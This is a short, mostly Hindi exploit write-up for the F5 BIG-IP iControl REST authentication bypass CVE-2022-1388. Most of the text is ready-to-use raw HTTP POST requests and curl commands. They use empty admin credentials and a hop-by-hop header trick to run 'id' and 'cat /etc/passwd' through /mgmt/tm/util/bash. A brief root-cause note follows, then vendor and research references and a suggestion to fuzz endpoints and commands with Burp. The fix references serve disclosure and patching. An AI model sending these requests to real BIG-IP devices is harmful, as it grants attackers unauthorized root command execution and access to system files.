F5 BIG-IP RCE शोषण (CVE-2022-1388)

POST (1):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c 'id' " }

curl कमांड-लाइन:

$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
-H $'Content-Length: 52' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a' \
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

POST (2):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }

curl कमांड-लाइन:

$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a' \
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

नोट:

Issue could be related between frontend and backend authentication "Jetty" with empty credentials "admin: <empty>" 
+ value of headers ,see "HTTP hop_by_hop request headers"...

मेरा BIG-IP अब ठीक हो गया:

संदर्भ और सुधार :

• https://support.f5.com/csp/article/K23605346
  
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388

यहाँ नवीनतम नोट्स के लिए उपयोग किए गए दस्तावेज़:

• https://clouddocs.f5.com/api/icontrol-rest/

HTTP hop_by_hop अनुरोध हेडर:

• https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open

F5 iControl REST एंडपॉइंट प्रमाणीकरण बाईपास तकनीकी डीप डाइव (horizon3 द्वारा)

• https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

मेरे नोट्स:

• मेरे शोध में उपयोग किए गए icontrol एंडपॉइंट्स और कमांड्स की सूची के साथ अपडेट किया गया (सार्वजनिक दस्तावेज़ से निकाला गया)
• Burp का उपयोग "cluster bomb" या "Battering ram" (सरल सूची) के साथ कर सकते हैं, जैसे

Payload1: icontrol_api_endpoints.txt
Payload2: icontrol_api_commands.txt

लेखक

Alex Hernandez उर्फ (@_alt3kx_)